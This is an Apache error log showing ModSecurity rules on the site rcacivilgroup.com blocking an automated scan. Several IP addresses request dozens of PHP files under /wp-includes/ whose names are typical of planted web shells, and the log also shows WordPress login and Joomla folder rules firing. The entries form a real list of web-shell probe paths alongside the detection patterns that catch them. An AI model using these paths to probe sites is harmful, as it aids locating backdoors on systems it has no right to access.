[Fri Apr 24 23:02:04.037450 2026] [:error] [pid 17721:tid 17798] [client 98.159.37.136:50661] [client 98.159.37.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aeuF7OFXXkLeyDnfk_9ZvQAAABE"]
[Fri Apr 24 23:02:06.353790 2026] [:error] [pid 17721:tid 17784] [client 98.159.37.126:34087] [client 98.159.37.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aeuF7uFXXkLeyDnfk_9Z0gAAAAM"]
[Fri Apr 24 23:02:12.402090 2026] [:error] [pid 17720:tid 17760] [client 173.239.218.159:49867] [client 173.239.218.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aeuF9OhlUs6BS3Ng7_Xk-AAAAMY"]
[Fri Apr 24 23:02:15.313143 2026] [:error] [pid 17808:tid 17818] [client 98.159.37.120:34969] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aeuF9-arbOEFI8qshvJqzAAAAEg"]
[Fri Apr 24 23:02:19.812548 2026] [:error] [pid 17808:tid 17832] [client 98.159.37.132:39647] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aeuF--arbOEFI8qshvJrAgAAAFY"]
[Fri Apr 24 23:02:21.558503 2026] [:error] [pid 22114:tid 22128] [client 98.159.37.120:64423] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "aeuF_YAuWGz3WlMQjocCRAAAAQs"]
[Fri Apr 24 23:02:23.511451 2026] [:error] [pid 14531:tid 14544] [client 98.159.37.128:45257] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aeuF_3fLU2gw-6KR-GbtswAAAUs"]
[Fri Apr 24 23:02:24.094923 2026] [:error] [pid 17808:tid 17823] [client 98.159.37.118:52017] [client 98.159.37.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "aeuGAOarbOEFI8qshvJrHAAAAE0"]
[Fri Apr 24 23:02:24.708497 2026] [:error] [pid 17808:tid 17819] [client 173.239.218.180:23553] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "aeuGAOarbOEFI8qshvJrHgAAAEk"]
[Fri Apr 24 23:02:31.949823 2026] [:error] [pid 17719:tid 17746] [client 173.239.218.163:47829] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aeuGB8TZ9gzEyL1BkPrEIQAAAJM"]
[Fri Apr 24 23:02:35.888020 2026] [:error] [pid 17808:tid 17816] [client 98.159.37.122:25603] [client 98.159.37.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "aeuGC-arbOEFI8qshvJrVgAAAEY"]
[Fri Apr 24 23:02:38.990000 2026] [:error] [pid 17720:tid 17763] [client 173.239.218.180:64153] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "aeuGDuhlUs6BS3Ng7_XlYQAAAMk"]
[Fri Apr 24 23:02:41.887532 2026] [:error] [pid 17721:tid 17797] [client 173.239.218.164:40123] [client 173.239.218.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "aeuGEeFXXkLeyDnfk_9aVQAAABA"]
[Fri Apr 24 23:02:47.857512 2026] [:error] [pid 17721:tid 17802] [client 98.159.37.124:27181] [client 98.159.37.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aeuGF-FXXkLeyDnfk_9aaQAAABU"]
[Fri Apr 24 23:02:49.774690 2026] [:error] [pid 17719:tid 17745] [client 173.239.218.176:57899] [client 173.239.218.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aeuGGcTZ9gzEyL1BkPrEKwAAAJI"]
[Fri Apr 24 23:02:51.537128 2026] [:error] [pid 17808:tid 17828] [client 173.239.218.161:38155] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aeuGG-arbOEFI8qshvJrbgAAAFI"]
[Fri Apr 24 23:02:54.430712 2026] [:error] [pid 17721:tid 17787] [client 98.159.37.129:32629] [client 98.159.37.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aeuGHuFXXkLeyDnfk_9acgAAAAY"]
[Fri Apr 24 23:03:04.052365 2026] [:error] [pid 17808:tid 17818] [client 173.239.218.165:48445] [client 173.239.218.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aeuGKOarbOEFI8qshvJrhwAAAEg"]
[Fri Apr 24 23:03:04.383205 2026] [:error] [pid 17808:tid 17834] [client 216.24.210.56:33573] [client 216.24.210.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aeuGKOarbOEFI8qshvJriAAAAFg"]
[Fri Apr 24 23:03:08.348428 2026] [:error] [pid 17721:tid 17799] [client 98.159.37.129:54887] [client 98.159.37.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aeuGLOFXXkLeyDnfk_9alQAAABI"]
[Fri Apr 24 23:03:08.875907 2026] [:error] [pid 17721:tid 17795] [client 173.239.218.166:40353] [client 173.239.218.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aeuGLOFXXkLeyDnfk_9amAAAAA4"]
[Fri Apr 24 23:03:11.777075 2026] [:error] [pid 4177:tid 4192] [client 98.159.37.134:21507] [client 98.159.37.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aeuGL32asKnvdrSe0x5ZFQAAAYc"]
[Fri Apr 24 23:03:12.158638 2026] [:error] [pid 17720:tid 17775] [client 98.159.37.127:49657] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ms-file.php"] [unique_id "aeuGMOhlUs6BS3Ng7_XlegAAANU"]
[Fri Apr 24 23:03:12.498897 2026] [:error] [pid 17721:tid 17783] [client 173.239.218.184:29555] [client 173.239.218.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.184, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aeuGMOFXXkLeyDnfk_9aoAAAAAI"]
[Fri Apr 24 23:03:12.505032 2026] [proxy_fcgi:error] [pid 17721:tid 17783] [client 173.239.218.184:29555] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 23:03:12.694929 2026] [:error] [pid 17721:tid 17789] [client 173.239.218.184:29555] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/av.php"] [unique_id "aeuGMOFXXkLeyDnfk_9aoQAAAAg"]
[Fri Apr 24 23:03:15.341456 2026] [:error] [pid 17720:tid 17756] [client 173.239.218.160:41035] [client 173.239.218.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aeuGM-hlUs6BS3Ng7_XlhQAAAMI"]
[Fri Apr 24 23:03:15.677492 2026] [:error] [pid 14531:tid 14554] [client 98.159.37.132:58443] [client 98.159.37.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/network.php"] [unique_id "aeuGM3fLU2gw-6KR-Gbt7gAAAVU"]
[Fri Apr 24 23:03:23.779934 2026] [:error] [pid 17719:tid 17741] [client 173.239.218.161:54117] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aeuGO8TZ9gzEyL1BkPrENwAAAI4"]
[Fri Apr 24 23:03:24.136178 2026] [:error] [pid 22114:tid 22125] [client 173.239.218.171:59743] [client 173.239.218.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/item.php"] [unique_id "aeuGPIAuWGz3WlMQjocCjQAAAQg"]
[Fri Apr 24 23:03:26.397953 2026] [:error] [pid 22114:tid 22122] [client 98.159.37.134:52123] [client 98.159.37.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aeuGPoAuWGz3WlMQjocCkwAAAQU"]
[Fri Apr 24 23:03:26.833086 2026] [:error] [pid 17808:tid 17820] [client 173.239.218.161:26621] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/install.php"] [unique_id "aeuGPuarbOEFI8qshvJrpAAAAEo"]
[Fri Apr 24 23:03:27.164914 2026] [proxy_fcgi:error] [pid 22114:tid 22132] [client 216.24.210.195:32171] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 23:03:27.358884 2026] [:error] [pid 22114:tid 22119] [client 216.24.210.195:32171] [client 216.24.210.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.195, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aeuGP4AuWGz3WlMQjocClwAAAQI"]
[Fri Apr 24 23:03:29.943609 2026] [:error] [pid 22114:tid 22141] [client 216.24.210.195:32171] [client 216.24.210.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aeuGQYAuWGz3WlMQjocCmgAAARg"]
[Fri Apr 24 23:03:33.574217 2026] [:error] [pid 4177:tid 4201] [client 173.239.218.184:56465] [client 173.239.218.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aeuGRX2asKnvdrSe0x5ZKgAAAZA"]
[Fri Apr 24 23:03:35.375516 2026] [:error] [pid 17808:tid 17833] [client 173.239.218.178:29865] [client 173.239.218.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aeuGR-arbOEFI8qshvJrswAAAFc"]
[Fri Apr 24 23:03:35.758460 2026] [:error] [pid 17721:tid 17802] [client 98.159.37.120:49997] [client 98.159.37.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aeuGR-FXXkLeyDnfk_9arAAAABU"]
[Fri Apr 24 23:03:39.986042 2026] [:error] [pid 17721:tid 17789] [client 173.239.218.183:60697] [client 173.239.218.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aeuGS-FXXkLeyDnfk_9aygAAAAg"]
[Fri Apr 24 23:03:42.819384 2026] [:error] [pid 17721:tid 17790] [client 98.159.37.125:34841] [client 98.159.37.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aeuGTuFXXkLeyDnfk_9a1QAAAAk"]
[Fri Apr 24 23:03:48.318443 2026] [:error] [pid 22114:tid 22128] [client 173.239.218.177:64217] [client 173.239.218.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aeuGVIAuWGz3WlMQjocCqgAAAQs"]
[Fri Apr 24 23:03:48.650103 2026] [:error] [pid 17721:tid 17785] [client 98.159.37.128:25271] [client 98.159.37.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bypass.php"] [unique_id "aeuGVOFXXkLeyDnfk_9a1wAAAAQ"]
[Fri Apr 24 23:03:50.375617 2026] [:error] [pid 17721:tid 17799] [client 173.239.218.163:62671] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/count.php"] [unique_id "aeuGVuFXXkLeyDnfk_9a3wAAABI"]
[Fri Apr 24 23:03:57.587312 2026] [:error] [pid 17721:tid 17792] [client 98.159.37.117:41349] [client 98.159.37.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aeuGXeFXXkLeyDnfk_9a8wAAAAs"]
[Fri Apr 24 23:04:01.517483 2026] [:error] [pid 17808:tid 17810] [client 173.239.218.161:33491] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "rcacivilgroup.com"] [uri "/images/stories/themes.php"] [unique_id "aeuGYearbOEFI8qshvJr1QAAAEA"]
[Fri Apr 24 23:04:01.693318 2026] [:error] [pid 17808:tid 17812] [client 173.239.218.161:33491] [client 173.239.218.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aeuGYearbOEFI8qshvJr1wAAAEI"]
[Fri Apr 24 23:04:04.664205 2026] [:error] [pid 17721:tid 17791] [client 173.239.218.164:22073] [client 173.239.218.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aeuGZOFXXkLeyDnfk_9bBgAAAAo"]
[Fri Apr 24 23:04:05.085931 2026] [:error] [pid 17721:tid 17789] [client 173.239.218.180:46509] [client 173.239.218.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/vars-soap.php"] [unique_id "aeuGZeFXXkLeyDnfk_9bCAAAAAg"]
[Fri Apr 24 23:04:12.489005 2026] [:error] [pid 17721:tid 17783] [client 173.239.218.163:49965] [client 173.239.218.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aeuGbOFXXkLeyDnfk_9bJQAAAAI"]
[Fri Apr 24 23:04:15.365809 2026] [:error] [pid 17808:tid 17816] [client 98.159.37.137:47609] [client 98.159.37.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aeuGb-arbOEFI8qshvJr4wAAAEY"]
[Fri Apr 24 23:04:17.240553 2026] [:error] [pid 17808:tid 17810] [client 98.159.37.126:56961] [client 98.159.37.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aeuGcearbOEFI8qshvJr6gAAAEA"]
[Fri Apr 24 23:04:23.688470 2026] [:error] [pid 14531:tid 14539] [client 173.239.218.182:21023] [client 173.239.218.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aeuGd3fLU2gw-6KR-GbuHwAAAUY"]
[Fri Apr 24 23:04:24.024061 2026] [:error] [pid 17808:tid 17822] [client 98.159.37.127:60661] [client 98.159.37.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/colour.php"] [unique_id "aeuGeOarbOEFI8qshvJr8wAAAEw"]
